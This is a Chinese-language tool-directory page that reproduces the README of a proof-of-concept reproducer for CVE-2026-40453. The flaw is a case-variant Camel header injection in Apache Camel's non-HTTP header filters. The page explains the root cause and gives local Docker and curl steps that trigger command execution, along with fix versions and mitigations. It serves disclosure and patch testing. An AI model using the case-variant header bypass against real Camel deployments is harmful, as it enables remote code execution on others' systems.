Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40453 — CVE-2026-40453 的复现工具:Apache Camel 大小写变体 Camel 标头注入(CVE-2025-27636 的不完整修复) | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-40453
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHuboscerd/cve-2026-40453

CVE-2026-40453

CVE-2026-40453 的复现工具:Apache Camel 大小写变体 Camel 标头注入(CVE-2025-27636 的不完整修复)

查看仓库
82个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

案例变体Camel头部注入复现程序 (CVE-2026-40453)

本项目演示了 CVE-2026-40453 — 针对 CVE-2025-27636 的不完整修复。2025年的修复为 HttpHeaderFilterStrategy 添加了 setLowerCase(true),使得案例变体头部名称(例如 CAmelExecCommandExecutable)能与规范的 CamelExecCommandExecutable 一起被过滤。但同样的调用 没有 应用于五个非HTTP的 HeaderFilterStrategy 实现(camel-jms、camel-sjms、camel-coap、camel-google-pubsub),这些实现在大小写敏感地进行过滤,而Camel Exchange中的头部存储在一个大小写不敏感的映射中。因此,攻击者可以注入一个案例变体的 Camel* 控制头部,它绕过过滤器但仍然被下游组件(camel-exec、camel-file 等)以其规范名称解析 → 远程代码执行 / 任意文件写入。

此复现程序使用 camel-coap(自包含,无需外部代理)演示了绕过;同样的缺陷影响JMS/SJMS/Google-Pubsub策略。

安全公告:https://camel.apache.org/security/CVE-2026-40453.html

漏洞概览

属性值
组件camel-jms、camel-sjms、camel-coap、camel-google-pubsub(此PoC使用camel-coap)
受影响的类JmsHeaderFilterStrategy、ClassicJmsHeaderFilterStrategy、SjmsHeaderFilterStrategy、CoAPHeaderFilterStrategy、GooglePubsubHeaderFilterStrategy
根本原因大小写敏感的 startsWith("Camel"/"camel") 过滤(缺少 setLowerCase(true))与大小写不敏感的Exchange头部映射
CWECWE-20(输入验证不当)— 消息头部注入
影响通过头部驱动的执行器实现远程代码执行/任意文件写入
受影响版本从 3.0.0 到 4.14.6 之前、从 4.15.0 到 4.18.2 之前、从 4.19.0 到 4.20.0 之前
修复版本4.14.6、4.18.2、4.20.0
JIRACAMEL-23313(完成CVE-2025-27636的修复)
报告者Saroj Khadka

技术细节

CoAPHeaderFilterStrategy(受影响版本)以大小写敏感的方式过滤 Camel*:

public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

当CoAP请求到达时,CamelCoapResource.handleRequest() 将每个URI查询参数映射到Exchange的In头部,并通过 strategy.applyFilterToExternalHeaders(name, value, exchange) 进行过滤:

  • CamelExecCommandExecutable — startsWith("Camel") 为 true → 被过滤。
  • CAmelExecCommandExecutable — startsWith("Camel") 为 false (CAm ≠ Cam) → 未被 过滤。

Exchange头部映射是大小写不敏感的,因此后续的执行器生产者以其规范名称 CamelExecCommandExecutable 解析该案例变体头部,从而覆盖命令。

受害者路由

from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

前提条件

  • Java 17+ 和 Maven 3.8+
  • Docker

复现步骤

mvn clean package -DskipTests
docker compose up -d --build

1) 正常请求

curl http://localhost:8080/exploit/normal      # -> hello

2) 规范头部 — 被过滤(无RCE)

curl http://localhost:8080/exploit/canonical
# 注入 CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (过滤器会剥离规范的 Camel* 头部)

3) 案例变体头部 — 绕过(RCE)

curl http://localhost:8080/exploit/attack
# 注入 CAmelExecCommandExecutable / CAmelExecCommandArgs(大写A)
# -> /tmp/pwned created: true   (案例变体绕过了大小写敏感的过滤器)
docker exec cve-2026-40453 ls -la /tmp/pwned

清理

docker compose down

建议修复

升级至 4.14.6 / 4.18.2 / 4.20.0。修复(CAMEL-23313)为五个非HTTP的 HeaderFilterStrategy 实现添加了 setLowerCase(true),使得案例变体 Camel* 名称也能被过滤。

缓解措施

在升级之前:

  1. 在不信任的生产者下游以大小写不敏感的方式剥离Camel头部 — 使用自定义的 HeaderFilterStrategy 并设置 setLowerCase(true),或使用 removeHeaders 配合大小写不敏感的模式。
  2. 避免将不信任的JMS / CoAP / Pub-Sub消息转发到头部驱动的执行器。

文件结构

CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # 受害者:from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (被过滤), /attack (案例变体绕过)
    └── resources/
        └── application.properties

免责声明

此复现程序仅供安全研究和授权测试使用,针对一个已公开披露并修复的漏洞。请勿在未经明确许可的情况下将其用于任何系统。

下载工具